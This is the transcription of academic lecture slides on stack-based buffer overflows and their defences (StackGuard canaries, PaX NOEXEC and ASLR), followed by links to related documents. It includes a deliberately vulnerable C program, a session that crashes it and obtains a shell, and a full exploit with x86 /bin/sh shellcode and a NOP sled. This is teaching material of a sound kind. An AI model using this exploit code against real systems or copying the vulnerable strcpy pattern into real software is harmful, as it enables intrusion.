Buffer Overflow and Protection Technology. Department of Computer Science,

Save this PDF as:
 WORD  PNG  TXT  JPG

Size: px
Start display at page:

Download "Buffer Overflow and Protection Technology. Department of Computer Science,"

Transcription

1 Buffer Overflow and Protection Technology Department of Computer Science, Lorenzo Cavallaro Andrea Lanzi

2 Table of Contents Introduction Stack-based Buffer Overflow Buffer overflow introduction Stack and Stack Frame Calling Convention Issue, Injection and Payload execution Protection Technology Compiler-enforced protection: Stack Guard, ProPolice SSP Kernel-enforced protection: PaX

3 Introduction (1) Privacy-enhancing technologies: Anonymizer, Mixes of Chaum, Onion Routing, Crowds, Anonymous Credentials, Blind Signatures and so on... These kind of technologies try to improve the privacy of active users But there are also sensible data, that the users don't want to disclose and want them to remain private passwords, IM passwords, DB passwords in PHP/ASP applications, personal s, credit card number... Usually cryptography may help to improve this kind of users' privacy but it's not always deployable

4 Buffer overflow introduction Buffer overflow are one of the most biggest vulnerability, nowadays Writing past the end of a buffer, if properly done, may allow an attacker to execute arbitrary code running with full priviledges Robert T. Morris Jr. worm, The Internet Worm (1988), was the first public example that showed such an exploitation technique Aleph1 Smashing the Stack for fun and profit (1996) represents the first underground's paper about stack-based buffer overflow

5 The Stack (1) It's a memory data structure used by a process as storage for function's local variables and function's parameters A function Stack Frame (or Activation Record, AR) is associated at each function call. The AR usually holds function's parameters (if any) return address (RET); memory address at which start again the execution once the function is ended caller's AR memory address (it may not be there at all) function's local variables (if any)

6 The Stack (2) Abstract Data Type, Last-in First-out (LIFO) Let S be a Stack and e an element. The common stack operation are push(s,e) it inserts the element e at the top of the stack e = pop(s) it retrieves the element at the top of the stack S and update the stack pointer S = top(s) it retrieves the top of the stack S

7 The Stack (3) i386 computer architecture, Linux operating system Stack grows from high memory addresses (bottom of the stack) toward lower one (top of the stack) Write operations are performed from low memory addresses toward higher one little-endian multibyte storage in memory ESP (Extended Stack Poiner) 32 bit CPU register points always at the top of the stack EBP (Extended Base Pointer) 32 bit CPU register, also known as Frame Pointer (FP), points at the current AR (stack frame)

8 Stack Layout: function with no arguments void function(void) { int x; char buf[10]; x = 5; } memset(buf, 0, sizeof (buf)); strcpy(buf, securephd );

9 Calling Convention Convention used to build the right environment when calling a function C declaration syntax (cdecl) parameters are passed on the stack in reverse declaration order it's up to the caller to clean up the allocated stack space Standard syntax (stdcall) parameters are passed on the stack in reverse declaration order it's up to the callee to clean up the allocated stack space fast call syntax, naked...

10 Function call (1) Using the cdecl calling convention, at each function call, the generated assembly code must push on the stack the function's parameters in reverse declaration order call the function (e.g. call function_address) which semantically means push(s, return_address) jump function_address

11 Function call (2) At the very begin of every function there are few instructions, the prologue, that are executed when the function gains control push(s, EBP) EBP = ESP doing so, the function can use EBP, the frame pointer, to address local variables (using negative offsets) and to address its parameters (using positive offsets)

12 Automatic variables After prologue's execution, the function allocates space on the stack for its local variables (if any) doing explicit stack pointer operation (e.g. sub $0x10, %esp) doing implicit stack pointer operation (e.g. pushl $0x ) Automatic variables are allocates on the stack, hence usual scope rules are applied; local variables are visible only within their Activation Record they are not available once the function is terminated

13 Function termination At the very end of every function, there are few instructions, the epilogue, which are executed when the function is going to terminate. The epilogue fixes what the prologue did ESP = EBP (e.g. mov %ebp, %esp) EBP = pop(s) (e.g. popl %ebp) The function ends its execution, returning to the caller, by issuing a ret instruction which semantically corresponds to EIP = pop(s). This, in fact, retrieve the previously Saved Return Address, pushed on the stack by means of the function call

14 Stack Layout: function with arguments int main(void) { int res; } res = sum(5, 6); printf( sum is: %d\n, res); exit(0); 0x080483b3 0x080483b8 int sum(int a, int b) { return (a + b); } 0x80483da

15 Buffer Overflow (1) C strings are sequences of bytes (char arrays) nil terminated \0STRING 2\0 string 1 string 2 VERY BIG STRING\0 string 3 Copying string 3 into string 1 without checking for target boundaries, we'll get VERY BIG STRING\0G 2\0

16 Buffer Overflow (2) A buffer overflow occours when too many data are written into a buffer besides its real size, causing it to overflow Remember that stack grows toward lower memory addresses while memory write are done toward higher memory addresses Stack holds sensible information, besides local data, such as the Saved Return Address (SRET) What happen if we can cause a buffer to overflow, in order to overwrite important informations, such as SRET, stored on the stack?

17 Buffer Overflow (3) At function termination, after the epilogue, the ret (0xc3) assembly instruction is executed If, exploiting a buffer overflow vulnerability, the SRET gets overwritten, the attacker gain control of the EIP register which manages the process execution flow Once EIP is subverted, it remains to choose where to hijack this flow to Usually the hijacked execution flow is redirected to a code written and injected by the attacker. This code is called payload (shellcode, egg,...)

18 Injection (1) Talking about buffer overflow usually implies talking about injection vector and payload The injection vector is the ad hoc built vector which will be sent to the vulnerable process. It may holds payload's address payload... The payload is the code the attacker wants to execute Both the injection vector and the payload are architecture and OS dependent

19 Payload execution Direct jump payload's address guessing addresses may contains nil bytes payload's address may change (security patches such as PaX ASLR) issue about target vulnerable buffer size Payload stored in the vulnerable process environment Pop return Call register Push return

20 No Operation Assembly instruction that execute no operation (0x90) Combined with Direct jump, increases the error percentage the attacker may do, while guessing the payload's memory address With NOP, the jump may allow to fall down on a landing area Usually the injection vector looks like NOP..NOP PAYLOAD RETADDR..RETADDR

21 Advanced techniques (overview) Off-by-one (SFP LSB overwrite) stack function pointer overwriting heap overflow (free/malloc chunk overwriting) advanced payload IDS evasion alfanumericl polymorphic crypted

22 Example: vuln.c (1) int main(void) { char buf[512]; int done = 0; while (!done) { memset(buf, 0, sizeof (buf)); read(0, buf, sizeof (buf) 1); buf[strlen(buf 1)] = 0; } done = vuln(buf); } exit(0);

23 Example: vuln.c (2) int vuln(char *s) { char small[128]; memset(small, 0, sizeof (small)); if (!strncmp(s, exit, 4)) return 1; strcpy(small, s); printf( [+] small); printf( [+] small: %s\n, small); } return 0;

24 Example: vuln execution (1) $./vuln Buffer Overflow [+] [+] small: Buffer Overflow exit $ perl -e '{ print A x 160 }'./vuln [+] [+] small: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA zsh: 3477 done perl -e '{ print "A" x 160 }' zsh: 3478 segmentation fault (core dumped)./vuln

25 Example: vuln execution (2) $ gdb -q -c core Core was generated by `./vuln'. Program terminated with signal 11, Segmentation fault. #0 0x in?? () (gdb) info reg eip eip 0x x (gdb) quit $ (./x ; cat)./vuln [+] [+] small: (garbage)... id uid=1000(sullivan) gid=100(users)...

26 Exploit (1) #include <stdio.h> #define RETADDR 0xbffff8a0 #define NOP 0x90 unsigned char shellcode[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x89\x43\x0c \x88\x43\x07\x89\xc2\x8d\x4b\x08\xb0\x0b\xcd \x80\xe8\xe6\xff\xff\xff/bin/sh"; int main(void) { char buf[160]; int i; char *p; /* zero out buffer */ memset(buf, 0, sizeof (buf));

27 Exploit (2) /* * Fill with the return address, the address at which we want to jump to, * the address at which the vulnearabile buffer is stored and that we have * filled with NOP..NOP, shellcode, RETADDR..RETADDR... hence with our * payload too */ for (i = 0; i < sizeof (buf); i += 4) *(unsigned int *)(buf + i) = RETADDR; /* * Fill the buffer with 20 byte of NOP even if we don't need it * since you already know at which address will be our payload (in the * injected vector): it's the vuln program that prints this for us */ memset(buf, NOP, 20);...

28 Exploit (3) /* * after follow our paylod that we want to execute, our shellcode. */ p = (buf + 20); for (i = 0; i < strlen(shellcode); i++) p[i] = shellcode[i]; buf[sizeof(buf) - 1] = 0; printf("%s\n", buf); }

29 Protection Technology Buffer overflows issue may be solved in different ways in order to prevent execution flow hijacking and arbitrary code execution There are two main categories to this purpose: Compiler-enforced protection (e.g. Stack Guard) Compilers have complete knowledge about the structure of the binary so they can modify the program's stack layout in order to prevent, or at least detect and stop, buffer overflows Kernel-enforced protection (e.g. Grsecurity, PaX) The kernel cannot modify the program's stack layout since it doesn't know anything about it, but it has a complete knowledge of a process' virtual address space layout so it can apply access controls to pages of memory in order to prevent execution of arbitrary code

30 Stack Guard (1) Stack Guard is a compiler-enforced protection technology Implemented in the GNU C compiler, stops stack-based buffer overflow vulnerabilities introducing just a little performance cost Integrity check on the Activation Records it detects control information (SRET) overwriting Issue with this solution: the attacker may choose to execute payload already in memory (or injected in other places) As safeguard measure, a canary location is inserted before the sensible control information on the stack

31 Stack Guard (2) Canary value should be both hard to detect and to spoof by an attacker The canary location is initialized just after having saved the control informations on the stack, i.e. after the prologue is executed The canary location is checked up just before restoring the control information, i.e. before the epilogue is executed This way the control information are protected since its values is checked up just before they gets restored

32 Stack Guard (3) There are four types of stack canaries: NULL canary, introduced by der Mouse, consists of a 0x value. Terminator canary, detect strings overflow but it has a known value: CR, LF, NULL, -1. Since many functions that manages strings use those terminators as string terminator, it shouldn't be possible to write past the end of the vulnerable buffers All functions that write to memory without directly managing strings, such as memcpy(3), may bypass these canaries

33 Stack Guard (4) Random canary can detects all memory writes that are not able to guess this canary value defeating, hence, the buffer overflow issue Usually the canary is a global variable initialized at program startup. The attacker should be able to guess this value in order to be successful in the exploitation of the vulnerability Random XOR canary acts like random canary but it adds an integrity check to the protected control information, by perform an XOR operation between the canary and those information, storing the result in the canary location

34 PaX PaX is a kernel-enforced protection technology It offers prevention against abritrary code execution via memory management access controls, NOEXEC address space layout randomization, ASLR It's embedded by Grsecurity Linux kernel patch which also offers read-only sys_call_table, IDT and GDT /dev/kmem, /dev/mem and /dev/port protections /proc, and chroot(2) restrictions Trusted Path Execution, psuedo-random PID, IP ID, TCP ISN and TCP source ports, socket creation restrictions

35 PaX NOEXEC It aims to prevent the injection and execution of arbitrary code into a process' address space It makes all the memory that holds stack, heap, data and anonymous mappings area non-executable There are two approaches on IA-32 architecture PAGEEXEC which uses the paging logic of the CPU SEGMEXEC which uses the segmentation logic of the CPU Since page protection rights originate from mmap(2) syscall and they can be changed by mprotect(2), it exists also MPROTECT feature, in order to enforce this protection

36 PaX ASLR (1) Address Space Layout Randomization attempts to render exploits that depends on fixed addresses useless It introduces a small amount of randomness to the layout of the process' virtual memory space There are several memory areas that need this randomness RANDUSTACK it randomizes the user land stack addresses; it's the kernel that create the process' stack layout RANDKSTACK it randomizes the kernel land stack addresses associated to each task structure

37 PaX ASLR (2) RANDMMAP it handles the randomization of all file and anonymous memory mappings (mmap(2), brk(2)) RANDEXEC it randomizes the location of ET_EXEC ELF binaries. it loads the executable at the standard address which lies into non-executable pages an executable copy of the binary is created at a random location using the RANDMMAP features execution attempts flow back into the randomized mapping via a page fault handler if the non-executable page is accessed instead of the randomly relocated image

Lecture 08 Control-flow Hijacking Defenses

Lecture 08 Control-flow Hijacking Defenses Lecture 08 Control-flow Hijacking Defenses Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Slides adapted from Miller, Bailey, and Brumley Control Flow Hijack: Always control + computation

More information

Exploiting Stack Buffer Overflows Learning how blackhats smash the stack for fun and profit so we can prevent it

Exploiting Stack Buffer Overflows Learning how blackhats smash the stack for fun and profit so we can prevent it Exploiting Stack Buffer Overflows Learning how blackhats smash the stack for fun and profit so we can prevent it 29.11.2012 Secure Software Engineering Andreas Follner 1 Andreas Follner Graduated earlier

More information

2 Sadeghi, Davi TU Darmstadt 2012 Secure, Trusted, and Trustworthy Computing Chapter 6: Runtime Attacks

2 Sadeghi, Davi TU Darmstadt 2012 Secure, Trusted, and Trustworthy Computing Chapter 6: Runtime Attacks Runtime attacks are major threats to today's applications Control-flow of an application is compromised at runtime Typically, runtime attacks include injection of malicious code Reasons for runtime attacks

More information

Stack -- Memory which holds register contents. Will keep the EIP of the next address after the call

Stack -- Memory which holds register contents. Will keep the EIP of the next address after the call Call without Parameter Value Transfer What are involved? ESP Stack Pointer Register Grows by 4 for EIP (return address) storage Stack -- Memory which holds register contents Will keep the EIP of the next

More information

CNIT 127: Exploit Development. Ch 2: Stack Overflows in Linux

CNIT 127: Exploit Development. Ch 2: Stack Overflows in Linux CNIT 127: Exploit Development Ch 2: Stack Overflows in Linux Stack-based Buffer Overflows Most popular and best understood exploitation method Aleph One's "Smashing the Stack for Fun and Profit" (1996)

More information

CS 645: Lecture 3 Software Vulnerabilities. Rachel Greenstadt July 3, 2013

CS 645: Lecture 3 Software Vulnerabilities. Rachel Greenstadt July 3, 2013 CS 645: Lecture 3 Software Vulnerabilities Rachel Greenstadt July 3, 2013 Project 1: Software exploits Individual project - done in virtual machine environment This assignment is hard. Don t leave it until

More information

Betriebssysteme und Sicherheit Sicherheit. Buffer Overflows

Betriebssysteme und Sicherheit Sicherheit. Buffer Overflows Betriebssysteme und Sicherheit Sicherheit Buffer Overflows Software Vulnerabilities Implementation error Input validation Attacker-supplied input can lead to Corruption Code execution... Even remote exploitation

More information

CSC 2400: Computing Systems. X86 Assembly: Function Calls"

CSC 2400: Computing Systems. X86 Assembly: Function Calls CSC 24: Computing Systems X86 Assembly: Function Calls" 1 Lecture Goals! Challenges of supporting functions" Providing information for the called function" Function arguments and local variables" Allowing

More information

x86 assembly CS449 Fall 2017

x86 assembly CS449 Fall 2017 x86 assembly CS449 Fall 2017 x86 is a CISC CISC (Complex Instruction Set Computer) e.g. x86 Hundreds of (complex) instructions Only a handful of registers RISC (Reduced Instruction Set Computer) e.g. MIPS

More information

BUFFER OVERFLOW DEFENSES & COUNTERMEASURES

BUFFER OVERFLOW DEFENSES & COUNTERMEASURES BUFFER OVERFLOW DEFENSES & COUNTERMEASURES CMSC 414 FEB 01 2018 RECALL OUR CHALLENGES How can we make these even more difficult? Putting code into the memory (no zeroes) Finding the return address (guess

More information

Introduction to Computer Systems , fall th Lecture, Sep. 28 th

Introduction to Computer Systems , fall th Lecture, Sep. 28 th Introduction to Computer Systems 15 213, fall 2009 9 th Lecture, Sep. 28 th Instructors: Majd Sakr and Khaled Harras Last Time: Structures struct rec { int i; int a[3]; int *p; }; Memory Layout i a p 0

More information

Exercise 6: Buffer Overflow and return-into-libc Attacks

Exercise 6: Buffer Overflow and return-into-libc Attacks Technische Universität Darmstadt Fachbereich Informatik System Security Lab Prof. Dr.-Ing. Ahmad-Reza Sadeghi M.Sc. David Gens Exercise 6: Buffer Overflow and return-into-libc Attacks Course Secure, Trusted

More information

CNIT 127: Exploit Development. Ch 1: Before you begin. Updated

CNIT 127: Exploit Development. Ch 1: Before you begin. Updated CNIT 127: Exploit Development Ch 1: Before you begin Updated 1-14-16 Basic Concepts Vulnerability A flaw in a system that allows an attacker to do something the designer did not intend, such as Denial

More information

Security and Privacy in Computer Systems. Lecture 5: Application Program Security

Security and Privacy in Computer Systems. Lecture 5: Application Program Security CS 645 Security and Privacy in Computer Systems Lecture 5: Application Program Security Buffer overflow exploits More effective buffer overflow attacks Preventing buffer overflow attacks Announcement Project

More information

Advanced Buffer Overflow

Advanced Buffer Overflow Pattern Recognition and Applications Lab Advanced Buffer Overflow Ing. Davide Maiorca, Ph.D. davide.maiorca@diee.unica.it Computer Security A.Y. 2016/2017 Department of Electrical and Electronic Engineering

More information

String Oriented Programming Exploring Format String Attacks. Mathias Payer

String Oriented Programming Exploring Format String Attacks. Mathias Payer String Oriented Programming Exploring Format String Attacks Mathias Payer Motivation Additional protection mechanisms prevent many existing attack vectors Format string exploits are often overlooked Drawback:

More information

CSC 2400: Computing Systems. X86 Assembly: Function Calls

CSC 2400: Computing Systems. X86 Assembly: Function Calls CSC 24: Computing Systems X86 Assembly: Function Calls 1 Lecture Goals Challenges of supporting functions Providing information for the called function Function arguments and local variables Allowing the

More information

Software Vulnerabilities. Jeff Foster University of Maryland, College Park

Software Vulnerabilities. Jeff Foster University of Maryland, College Park Software Vulnerabilities Jeff Foster University of Maryland, College Park When is a Program Secure? When it does exactly what it should! But what is it supposed to do? - Someone tells us (do we trust them?)

More information

Secure Programming Lecture 3: Memory Corruption I (Stack Overflows)

Secure Programming Lecture 3: Memory Corruption I (Stack Overflows) Secure Programming Lecture 3: Memory Corruption I (Stack Overflows) David Aspinall, Informatics @ Edinburgh 24th January 2017 Outline Roadmap Memory corruption vulnerabilities Instant Languages and Runtimes

More information

CSE 509: Computer Security

CSE 509: Computer Security CSE 509: Computer Security Date: 2.16.2009 BUFFER OVERFLOWS: input data Server running a daemon Attacker Code The attacker sends data to the daemon process running at the server side and could thus trigger

More information

Software Vulnerabilities August 31, 2011 / CS261 Computer Security

Software Vulnerabilities August 31, 2011 / CS261 Computer Security Software Vulnerabilities August 31, 2011 / CS261 Computer Security Software Vulnerabilities...1 Review paper discussion...2 Trampolining...2 Heap smashing...2 malloc/free...2 Double freeing...4 Defenses...5

More information

Lab 2: Buffer Overflows

Lab 2: Buffer Overflows Department of Computer Science: Cyber Security Practice Lab 2: Buffer Overflows Introduction In this lab, you will learn how buffer overflows and other memory vulnerabilities are used to takeover vulnerable

More information

Practical Malware Analysis

Practical Malware Analysis Practical Malware Analysis Ch 4: A Crash Course in x86 Disassembly Revised 1-16-7 Basic Techniques Basic static analysis Looks at malware from the outside Basic dynamic analysis Only shows you how the

More information

Selected background on ARM registers, stack layout, and calling convention

Selected background on ARM registers, stack layout, and calling convention Selected background on ARM registers, stack layout, and calling convention ARM Overview ARM stands for Advanced RISC Machine Main application area: Mobile phones, smartphones (Apple iphone, Google Android),

More information

Architecture-level Security Vulnerabilities

Architecture-level Security Vulnerabilities Architecture-level Security Vulnerabilities Björn Döbel Outline How stacks work Smashing the stack for fun and profit Preventing stack smashing attacks Circumventing stack smashing prevention The Battlefield:

More information

Program Security and Vulnerabilities Class 2

Program Security and Vulnerabilities Class 2 Program Security and Vulnerabilities Class 2 CEN-5079: 28.August.2017 1 Secure Programs Programs Operating System Device Drivers Network Software (TCP stack, web servers ) Database Management Systems Integrity

More information

Runtime Defenses against Memory Corruption

Runtime Defenses against Memory Corruption CS 380S Runtime Defenses against Memory Corruption Vitaly Shmatikov slide 1 Reading Assignment Cowan et al. Buffer overflows: Attacks and defenses for the vulnerability of the decade (DISCEX 2000). Avijit,

More information

Topics in Software Security Vulnerability

Topics in Software Security Vulnerability Topics in Software Security Vulnerability Software vulnerability What are software vulnerabilities? Types of vulnerabilities E.g., Buffer Overflows How to find these vulnerabilities and prevent them? Classes

More information

Native Language Exploitation

Native Language Exploitation Native Language Exploitation András Gazdag CrySyS Lab, BME www.crysys.hu 2017 CrySyS Lab Memory errors and corruption Memory error vulnerabilities are created by programmers and exploited by attackers

More information

HW 8 CS681 & CS392 Computer Security Understanding and Experimenting with Memory Corruption Vulnerabilities DUE 12/18/2005

HW 8 CS681 & CS392 Computer Security Understanding and Experimenting with Memory Corruption Vulnerabilities DUE 12/18/2005 HW 8 CS681 & CS392 Computer Security Understanding and Experimenting with Memory Corruption Vulnerabilities 1 Motivation DUE 12/18/2005 Memory corruption vulnerabilities to change program execution flow

More information

SYSTEM CALL IMPLEMENTATION. CS124 Operating Systems Fall , Lecture 14

SYSTEM CALL IMPLEMENTATION. CS124 Operating Systems Fall , Lecture 14 SYSTEM CALL IMPLEMENTATION CS124 Operating Systems Fall 2017-2018, Lecture 14 2 User Processes and System Calls Previously stated that user applications interact with the kernel via system calls Typically

More information

Runtime attacks are major threats to today's applications Control-flow of an application is compromised at runtime Typically, runtime attacks include

Runtime attacks are major threats to today's applications Control-flow of an application is compromised at runtime Typically, runtime attacks include 2 Runtime attacks are major threats to today's applications Control-flow of an application is compromised at runtime Typically, runtime attacks include injection of malicious code Reasons for runtime attacks

More information

Assembly Language: Function Calls

Assembly Language: Function Calls Assembly Language: Function Calls 1 Goals of this Lecture Help you learn: Function call problems: Calling and returning Passing parameters Storing local variables Handling registers without interference

More information

Buffer. This time. Security. overflows. Software. By investigating. We will begin. our 1st section: History. Memory layouts

Buffer. This time. Security. overflows. Software. By investigating. We will begin. our 1st section: History. Memory layouts This time We will begin our 1st section: Software Security By investigating Buffer overflows and other memory safety vulnerabilities History Memory layouts Buffer overflow fundamentals Software security

More information

Countermeasures in Modern Operating Systems. Yves Younan, Vulnerability Research Team (VRT)

Countermeasures in Modern Operating Systems. Yves Younan, Vulnerability Research Team (VRT) Countermeasures in Modern Operating Systems Yves Younan, Vulnerability Research Team (VRT) Introduction Programs in C/C++: memory error vulnerabilities Countermeasures (mitigations): make exploitation

More information

CSE 127: Computer Security. Memory Integrity. Kirill Levchenko

CSE 127: Computer Security. Memory Integrity. Kirill Levchenko CSE 127: Computer Security Memory Integrity Kirill Levchenko November 18, 2014 Stack Buffer Overflow Stack buffer overflow: writing past end of a stackallocated buffer Also called stack smashing One of

More information

Advanced Computer Networks Smashing the Stack for Fun and Profit

Advanced Computer Networks Smashing the Stack for Fun and Profit Smashing the Stack for Fun and Profit 1 appeared in: Phrack 49 Volume Seven, Issue Forty-Nine by: Aleph One (Elias Levy) Where the title comes from 2 The stack Buffer Overflows Shellcode Be aware of the

More information

Control Hijacking Attacks

Control Hijacking Attacks Control Hijacking Attacks Alexandros Kapravelos kapravelos@ncsu.edu (Derived from slides from Chris Kruegel) Attacker s mindset Take control of the victim s machine Hijack the execution flow of a running

More information

Buffer Overflow Vulnerability

Buffer Overflow Vulnerability Buffer Overflow Vulnerability 1 Buffer Overflow Vulnerability Copyright c 2006 2014 Wenliang Du, Syracuse University. The development of this document is/was funded by three grants from the US National

More information

ANITA S SUPER AWESOME RECITATION SLIDES

ANITA S SUPER AWESOME RECITATION SLIDES ANITA S SUPER AWESOME RECITATION SLIDES 15/18-213: Introduction to Computer Systems Stacks and Buflab, 11 Jun 2013 Anita Zhang, Section M WHAT S NEW (OR NOT) Bomblab is due tonight, 11:59 PM EDT Your late

More information

1/31/2007 C. Edward Chow. CS591 Page 1

1/31/2007 C. Edward Chow. CS591 Page 1 Page 1 History of Buffer Overflow Attacks Buffer Overflow Attack and related Background Knowledge Linux VirtualMemory Map Shellcode Egg: No-ops/shellcode/returnAddresses Countermeasures: StackGuard StackShield

More information

Secure Programming I. Steven M. Bellovin September 28,

Secure Programming I. Steven M. Bellovin September 28, Secure Programming I Steven M. Bellovin September 28, 2014 1 If our software is buggy, what does that say about its security? Robert H. Morris Steven M. Bellovin September 28, 2014 2 The Heart of the Problem

More information

Changelog. Corrections made in this version not in first posting: 1 April 2017: slide 13: a few more %c s would be needed to skip format string part

Changelog. Corrections made in this version not in first posting: 1 April 2017: slide 13: a few more %c s would be needed to skip format string part 1 Changelog 1 Corrections made in this version not in first posting: 1 April 2017: slide 13: a few more %c s would be needed to skip format string part OVER questions? 2 last time 3 memory management problems

More information

Assembly Language: Function Calls. Goals of this Lecture. Function Call Problems

Assembly Language: Function Calls. Goals of this Lecture. Function Call Problems Assembly Language: Function Calls 1 Goals of this Lecture Help you learn: Function call problems: Calling and urning Passing parameters Storing local variables Handling registers without interference Returning

More information

Assembly Language: Function Calls" Goals of this Lecture"

Assembly Language: Function Calls Goals of this Lecture Assembly Language: Function Calls" 1 Goals of this Lecture" Help you learn:" Function call problems:" Calling and urning" Passing parameters" Storing local variables" Handling registers without interference"

More information

CMSC 430 Introduction to Compilers. Spring Code Generation

CMSC 430 Introduction to Compilers. Spring Code Generation CMSC 430 Introduction to Compilers Spring 2015 Code Generation Introduction Code generation is the process of moving from highest level IR down to machine code Usually takes place after data flow analysis

More information

PaX (http://pageexec.virtualave.net) The Guaranteed End of Arbitrary Code Execution

PaX (http://pageexec.virtualave.net) The Guaranteed End of Arbitrary Code Execution PaX (http://pageexec.virtualave.net) The Guaranteed End of Arbitrary Code Execution Who am I? Brad Spengler The only grsecurity developer NOT a PaX developer Computer Engineering major, Mathematics minor

More information

Buffer Overflow Attack

Buffer Overflow Attack Chapter 4 This is a sample chapter in the book titled "Computer Security: A Hands-on Approach" authored by Wenliang Du. Buffer Overflow Attack From Morris worm in 1988, Code Red worm in 2001, SQL Slammer

More information

Protection and System Calls. Otto J. Anshus

Protection and System Calls. Otto J. Anshus Protection and System Calls Otto J. Anshus Protection Issues CPU protection Prevent a user from using the CPU for too long Throughput of jobs, and response time to events (incl. user interactive response

More information

Secure Software Development: Theory and Practice

Secure Software Development: Theory and Practice Secure Software Development: Theory and Practice Suman Jana MW 2:40-3:55pm 415 Schapiro [SCEP] *Some slides are borrowed from Dan Boneh and John Mitchell Software Security is a major problem! Why writing

More information

INTRODUCTION TO EXPLOIT DEVELOPMENT

INTRODUCTION TO EXPLOIT DEVELOPMENT INTRODUCTION TO EXPLOIT DEVELOPMENT Nathan Ritchey and Michael Tucker Who Am I (Nathan Ritchey) Have Bachelors in Computer Science Member of CSG Working on Masters with focus on Information Assurance Some

More information

An Experience Like No Other. Stack Discipline Aug. 30, 2006

An Experience Like No Other. Stack Discipline Aug. 30, 2006 15-410 An Experience Like No Other Discipline Aug. 30, 2006 Bruce Maggs Dave Eckhardt Slides originally stolen from 15-213 15-410, F 06 Synchronization Registration If you're here but not registered, please

More information

CSE 127: Computer Security Control Flow Hijacking. Kirill Levchenko

CSE 127: Computer Security Control Flow Hijacking. Kirill Levchenko CSE 127: Computer Security Control Flow Hijacking Kirill Levchenko October 17, 2017 Control Flow Hijacking Defenses Avoid unsafe functions Stack canary Separate control stack Address Space Layout Randomization

More information

Buffer Overflow. Jin-Soo Kim Computer Systems Laboratory Sungkyunkwan University

Buffer Overflow. Jin-Soo Kim Computer Systems Laboratory Sungkyunkwan University Buffer Overflow Jin-Soo Kim (jinsookim@skku.edu) Computer Systems Laboratory Sungkyunkwan University http://csl.skku.edu IA-32/Linux Memory Layout Runtime stack (8MB limit) Heap Dynamically allocated storage

More information

Hacking Blind BROP. Presented by: Brooke Stinnett. Article written by: Andrea Bittau, Adam Belay, Ali Mashtizadeh, David Mazie`res, Dan Boneh

Hacking Blind BROP. Presented by: Brooke Stinnett. Article written by: Andrea Bittau, Adam Belay, Ali Mashtizadeh, David Mazie`res, Dan Boneh Hacking Blind BROP Presented by: Brooke Stinnett Article written by: Andrea Bittau, Adam Belay, Ali Mashtizadeh, David Mazie`res, Dan Boneh Overview Objectives Introduction to BROP ROP recap BROP key phases

More information

A process. the stack

A process. the stack A process Processes Johan Montelius What is a process?... a computation KTH 2017 a program i.e. a sequence of operations a set of data structures a set of registers means to interact with other processes

More information

CPSC 213. Introduction to Computer Systems. Procedures and the Stack. Unit 1e

CPSC 213. Introduction to Computer Systems. Procedures and the Stack. Unit 1e CPSC 213 Introduction to Computer Systems Unit 1e Procedures and the Stack 1 Readings for Next 3 Lectures Textbook Procedures - 3.7 Out-of-Bounds Memory References and Buffer Overflow - 3.12 2 Local Variables

More information

Stack Discipline Jan. 19, 2018

Stack Discipline Jan. 19, 2018 15-410 An Experience Like No Other Discipline Jan. 19, 2018 Dave Eckhardt Brian Railing Slides originally stolen from 15-213 1 15-410, S 18 Synchronization Registration The wait list will probably be done

More information

The Geometry of Innocent Flesh on the Bone

The Geometry of Innocent Flesh on the Bone The Geometry of Innocent Flesh on the Bone Return-into-libc without Function Calls (on the x86) Hovav Shacham hovav@cs.ucsd.edu CCS 07 Technical Background Gadget: a short instructions sequence (e.x. pop

More information

Sistemi Operativi. Lez. 16 Elementi del linguaggio Assembler AT&T

Sistemi Operativi. Lez. 16 Elementi del linguaggio Assembler AT&T Sistemi Operativi Lez. 16 Elementi del linguaggio Assembler AT&T Data Sizes Three main data sizes Byte (b): 1 byte Word (w): 2 bytes Long (l): 4 bytes Separate assembly-language instructions E.g., addb,

More information

New York University CSCI-UA : Advanced Computer Systems: Spring 2016 Midterm Exam

New York University CSCI-UA : Advanced Computer Systems: Spring 2016 Midterm Exam New York University CSCI-UA.480-008: Advanced Computer Systems: Spring 2016 Midterm Exam This exam is 75 minutes. Stop writing when time is called. You must turn in your exam; we will not collect it. Do

More information

Buffer Overflow and Format String Overflow Vulnerabilities

Buffer Overflow and Format String Overflow Vulnerabilities Syracuse University SURFACE Electrical Engineering and Computer Science College of Engineering and Computer Science 2002 Buffer Overflow and Format String Overflow Vulnerabilities Kyung-suk Lhee Syracuse

More information

Implementing Procedure Calls

Implementing Procedure Calls 1 / 39 Implementing Procedure Calls February 18 22, 2013 2 / 39 Outline Intro to procedure calls Caller vs. callee Procedure call basics Calling conventions The stack Interacting with the stack Structure

More information

Lecture 6: Buffer Overflow. CS 436/636/736 Spring Nitesh Saxena

Lecture 6: Buffer Overflow. CS 436/636/736 Spring Nitesh Saxena Lecture 6: Buffer Overflow CS 436/636/736 Spring 2016 Nitesh Saxena *Adopted from a previous lecture by Aleph One (Smashing the Stack for Fun and Profit) HW3 submitted Course Admin Being graded Solution

More information

Inject malicious code Call any library functions Modify the original code

Inject malicious code Call any library functions Modify the original code Inject malicious code Call any library functions Modify the original code 2 Sadeghi, Davi TU Darmstadt 2012 Secure, Trusted, and Trustworthy Computing Chapter 6: Runtime Attacks 2 3 Sadeghi, Davi TU Darmstadt

More information

The first Secure Programming Laboratory will be today! 3pm-6pm in Forrest Hill labs 1.B31, 1.B32.

The first Secure Programming Laboratory will be today! 3pm-6pm in Forrest Hill labs 1.B31, 1.B32. Lab session this afternoon Memory corruption attacks Secure Programming Lecture 6: Memory Corruption IV (Countermeasures) David Aspinall, Informatics @ Edinburgh 2nd February 2016 The first Secure Programming

More information

Advanced Systems Security: Control-Flow Integrity

Advanced Systems Security: Control-Flow Integrity Systems and Internet Infrastructure Security Network and Security Research Center Department of Computer Science and Engineering Pennsylvania State University, University Park PA Advanced Systems Security:

More information

CMSC 313 COMPUTER ORGANIZATION & ASSEMBLY LANGUAGE PROGRAMMING

CMSC 313 COMPUTER ORGANIZATION & ASSEMBLY LANGUAGE PROGRAMMING CMSC 313 COMPUTER ORGANIZATION & ASSEMBLY LANGUAGE PROGRAMMING LECTURE 16, SPRING 2013 TOPICS TODAY Project 6 Perils & Pitfalls of Memory Allocation C Function Call Conventions in Assembly Language PERILS

More information

